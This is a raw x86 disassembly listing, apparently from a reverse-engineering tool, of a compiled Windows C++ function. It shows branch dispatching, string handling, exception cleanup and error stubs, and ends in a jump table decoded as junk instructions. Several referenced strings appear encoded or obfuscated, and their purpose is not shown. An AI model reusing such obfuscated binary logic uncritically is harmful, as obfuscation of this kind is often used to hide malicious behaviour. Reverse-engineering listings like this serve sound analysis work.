call fcn.00406820
lea ecx, [ebp - 0xe4]
call fcn.0042b220
jmp 0x523b71
mov edx, 0x5b8958
lea ecx, [ebp - 0x60]
call fcn.00442920
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044d770
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042b220
lea ecx, [ebp - 0x60]
test esi, esi
je 0x52355d
call fcn.0042afd0
mov ecx, edi
mov dword [ebp - 4], 0x7f
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523500
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x6c]
call fcn.00524080
lea eax, [ebp - 0x20]
mov dword [ebp - 0x44], 0xffffffff
push eax
lea edx, [ebp - 0x44]
mov dword [ebp - 0x20], 0xffffffff
lea ecx, [ebp - 0x60]
call fcn.00449690
mov eax, dword [ebp - 0x34]
add esp, 0xc
push dword [ebp - 0x20]
mov ecx, dword [eax + 0xc]
push dword [ebp - 0x44]
call fcn.00406e30
lea ecx, [ebp - 0x60]
call fcn.0042b220
jmp 0x523b71
mov edx, 0x5b8940
call fcn.00442920
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044d770
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042b220
test esi, esi
je 0x52358f
call fcn.0044d700
jmp 0x523b71
mov edx, 0x5b89a0
lea ecx, [ebp - 0x60]
call fcn.00442920
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044d770
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042b220
lea ecx, [ebp - 0x60]
test esi, esi
je 0x5238be
call fcn.0042afd0
mov ecx, edi
mov dword [ebp - 4], 0x80
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5235d2
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00524080
add esp, 8
lea ecx, [ebp - 0x1c]
call fcn.0041dc60
lea ecx, [ebp - 0x40]
call fcn.0041dc60
lea eax, [ebp - 0x40]
mov byte [ebp - 4], 0x82
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x60]
call fcn.004498a0
add esp, 4
lea ecx, [ebp - 0x40]
call fcn.0044d720
mov dword [ebp - 0x28], eax
cmp eax, 0xffffffff
jne 0x52372b
push str.bnBtYnNhcg
lea ecx, [ebp - 0x24]
call fcn.0042cf00
push str.Y3BwbXA
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0x83
call fcn.0042cf00
push str.Y3BwS3FlO0dsdF9qZ2JdRGdqY11OX3Jm
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 0x84
call fcn.0042cf00
push 0x58c2f0
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x85
call fcn.0042cf00
push 0x58c2f0
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0x86
call fcn.0042cf00
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x87
mov ecx, esp
push eax
call fcn.0042c2c0
lea ecx, [ebp - 0x68]
call fcn.00442cb0
mov edi, eax
lea eax, [ebp - 0x3c]
mov byte [ebp - 4], 0x88
mov ecx, esp
push eax
call fcn.0042c2c0
lea ecx, [ebp - 0x84]
call fcn.00442cb0
mov esi, eax
lea eax, [ebp - 0x24]
mov byte [ebp - 4], 0x89
mov ecx, esp
push eax
call fcn.0042c2c0
lea ecx, [ebp - 0x2c]
call fcn.00442cb0
add esp, 4
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x8a
push ecx
lea ecx, [ebp - 0x20]
mov edx, esi
push ecx
push edi
mov ecx, eax
call fcn.004538a0
add esp, 0xc
lea ecx, [ebp - 0x2c]
call fcn.0042bdf0
lea ecx, [ebp - 0x84]
call fcn.0042bdf0
lea ecx, [ebp - 0x68]
call fcn.0042bdf0
lea ecx, [ebp - 0x20]
call fcn.0042bdf0
lea ecx, [ebp - 0x44]
call fcn.0042bdf0
lea ecx, [ebp - 0x38]
call fcn.0042bdf0
lea ecx, [ebp - 0x3c]
call fcn.0042bdf0
lea ecx, [ebp - 0x24]
call fcn.0042bdf0
lea ecx, [ebp - 0x38]
call fcn.0041dc60
push str.eSBfbm4gOHkgI3VxIDh5IF9ubl1xcl9yc3EgOHkgbF9rYyA4ICN1cSAqIHFyX3JzcSA4ICN1cSB7e3t7
lea ecx, [ebp - 0x9c]
mov byte [ebp - 4], 0x8b
call fcn.0042c620
push str.bG1sYw
lea ecx, [ebp - 0xe4]
mov byte [ebp - 4], 0x8c
call fcn.0042c620
push str.Z2xxcl9qamNi
lea ecx, [ebp - 0x100]
mov byte [ebp - 4], 0x8d
call fcn.0042c620
sub esp, 0x18
mov byte [ebp - 4], 0x8e
cmp dword [ebp - 0x28], 1
mov ecx, esp
jne 0x5237a0
lea eax, [ebp - 0x100]
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x68]
call fcn.00442a50
add esp, 0x18
mov byte [ebp - 4], 0x8f
mov ecx, 1
jmp 0x5237c3
lea eax, [ebp - 0xe4]
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x28]
call fcn.00442a50
add esp, 0x18
mov dword [ebp - 4], 0x90
mov ecx, 2
push dword [eax]
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x3c], ecx
lea ecx, [ebp - 0x130]
call fcn.0042c620
mov dword [ebp - 4], 0x91
mov eax, dword [ebp - 0x3c]
test al, 2
je 0x5237f5
and eax, 0xfffffffd
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x3c], eax
call fcn.0042bdf0
mov eax, dword [ebp - 0x3c]
mov byte [ebp - 4], 0x93
test al, 1
je 0x523805
lea ecx, [ebp - 0x68]
call fcn.0042bdf0
lea ecx, [ebp - 0x130]
call fcn.0042c1f0
mov esi, eax
sub esp, 0x18
mov eax, dword [ebp - 0x34]
mov ecx, esp
mov edi, dword [eax]
lea eax, [ebp - 0x9c]
push eax
call fcn.0042c2f0
lea ecx, [ebp - 0x84]
call fcn.00442a50
push esi
mov byte [ebp - 4], 0x94
push dword [ebp - 0x1c]
push edi
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.0041f420
add esp, 0x2c
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x84]
call fcn.0042bdf0
push ecx
lea eax, [ebp - 0x38]
mov ecx, esp
push eax
call fcn.0042c2c0
mov ecx, dword [ebp - 0x34]
call fcn.0051f570
lea ecx, [ebp - 0x130]
call fcn.0042c3d0
lea ecx, [ebp - 0x100]
call fcn.0042c3d0
lea ecx, [ebp - 0xe4]
call fcn.0042c3d0
lea ecx, [ebp - 0x9c]
call fcn.0042c3d0
lea ecx, [ebp - 0x38]
call fcn.0042bdf0
lea ecx, [ebp - 0x40]
call fcn.0042bdf0
lea ecx, [ebp - 0x1c]
call fcn.0042bdf0
lea ecx, [ebp - 0x60]
call fcn.0042b220
jmp 0x523b71
mov edx, 0x5b8a78
call fcn.00442920
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044d770
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042b220
lea ecx, [ebp - 0x60]
test esi, esi
je 0x523979
call fcn.0042afd0
mov ecx, edi
mov dword [ebp - 4], 0x95
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x523900
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
push eax
lea edx, [edx + edi]
lea ecx, [ebp - 0x6c]
call fcn.00524080
add esp, 8
lea ecx, [ebp - 0x60]
push 0x58c2f0
call fcn.00429c20
lea eax, [ebp - 0x48]
mov dword [ebp - 0x24], 1
push eax
lea eax, [ebp - 0x24]
mov dword [ebp - 0x48], 2
push eax
lea eax, [ebp - 0x6c]
push eax
lea edx, [ebp - 0xe8]
lea ecx, [ebp - 0x60]
call fcn.00449cb0
mov eax, dword [ebp - 0x48]
add esp, 0xc
or eax, dword [ebp - 0x24]
push eax
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax + 0xc]
call fcn.004133a0
lea ecx, [ebp - 0x60]
call fcn.0042b220
jmp 0x523b71
mov edx, 0x5b89b8
call fcn.00442920
lea ecx, [ebp - 0x64]
mov edx, eax
push ecx
mov ecx, edi
call fcn.0044d770
add esp, 4
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.0042b220
test esi, esi
je 0x523a2d
lea ecx, [ebp - 0x60]
call fcn.0042afd0
mov ecx, edi
mov dword [ebp - 4], 0x96
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5239c0
sub ecx, edx
lea eax, [ebp - 0x60]
mov edx, dword [ebp - 0x64]
push eax
lea eax, [ecx + edi]
lea edx, [edx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00524080
add esp, 4
lea ecx, [ebp - 0x60]
call fcn.005240f0
add esp, 4
lea ecx, [ebp - 0x130]
test eax, eax
mov eax, dword [ebp - 0x34]
setne byte [ebp - 0x2d]
push dword [eax]
call fcn.0042c620
mov dl, byte [ebp - 0x2d]
lea ecx, [ebp - 0x130]
mov byte [ebp - 4], 0x97
call fcn.0052f760
lea ecx, [ebp - 0x130]
call fcn.0042c3d0
lea ecx, [ebp - 0x60]
call fcn.0042b220
jmp 0x523b71
push edi
lea ecx, [ebp - 0x40]
call fcn.0042bd10
push str.c2xpbG11bF1zZ11rY3FxX2Vj
lea ecx, [ebp - 0x38]
mov dword [ebp - 4], 0x98
call fcn.0042cf00
push str.a3FlOyN1cQ
lea ecx, [ebp - 0x44]
mov byte [ebp - 4], 0x99
call fcn.0042cf00
lea ecx, [ebp - 0x1c]
call fcn.0041dc60
sub esp, 0x18
mov byte [ebp - 4], 0x9b
mov ecx, esp
push dword [ebp - 0x40]
call fcn.0042c620
lea ecx, [ebp - 0x68]
call fcn.0042dd50
add esp, 0x14
mov byte [ebp - 4], 0x9c
mov esi, dword [eax]
mov ecx, esp
lea eax, [ebp - 0x44]
push eax
call fcn.0042c2c0
lea ecx, [ebp - 0x28]
call fcn.00442cb0
add esp, 4
push esi
mov byte [ebp - 4], 0x9d
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041f420
add esp, 0xc
lea ecx, [ebp - 0x28]
call fcn.0042bdf0
lea ecx, [ebp - 0x68]
mov byte [ebp - 4], 0x9b
call fcn.0042bdf0
push 0x58c2f0
lea ecx, [ebp - 0x20]
call fcn.0042cf00
push 0x58c2f0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 0x9e
call fcn.0042cf00
push ecx
lea eax, [ebp - 0x38]
mov byte [ebp - 4], 0x9f
mov ecx, esp
push eax
call fcn.0042c2c0
lea ecx, [ebp - 0x68]
call fcn.00442cb0
mov esi, eax
sub esp, 0x14
mov byte [ebp - 4], 0xa0
mov ecx, esp
push 0x5bd12c
call fcn.0042c2f0
lea ecx, [ebp - 0x28]
call fcn.00442a50
lea ecx, [ebp - 0x20]
mov byte [ebp - 4], 0xa1
push ecx
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
mov edx, esi
mov ecx, eax
call fcn.004538a0
add esp, 0x24
lea ecx, [ebp - 0x28]
call fcn.0042bdf0
lea ecx, [ebp - 0x68]
call fcn.0042bdf0
lea ecx, [ebp - 0x24]
call fcn.0042bdf0
lea ecx, [ebp - 0x20]
call fcn.0042bdf0
lea ecx, [ebp - 0x1c]
call fcn.0042bdf0
lea ecx, [ebp - 0x44]
call fcn.0042bdf0
lea ecx, [ebp - 0x38]
call fcn.0042bdf0
lea ecx, [ebp - 0x40]
call fcn.0042bdf0
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
mov dword fs:[0], ecx
pop esi
pop ebx
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
push str.invalid_stoi_argument
call fcn.00530169
push str.stoi_argument_out_of_range
call fcn.005301a9
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
call fcn.0054c30f
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
call fcn.0054c30f
call fcn.0054c30f
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push str.invalid_map_K__T__key
call fcn.005301a9
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push 0x80004005
call fcn.0042cdd0
push str.invalid_stoi_argument
call fcn.00530169
push str.stoi_argument_out_of_range
call fcn.005301a9
nop
outsb dx, byte [esi]
sub eax, 755236946
push edx
add byte [eax + 0x5a00522d], al
sub eax, 0x2d9c0052
push edx
add byte [eax], al
add al, 4
add al, 1
add al, 4
add al, 4
add al, 4
add al, 2
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 4
add al, 3
int3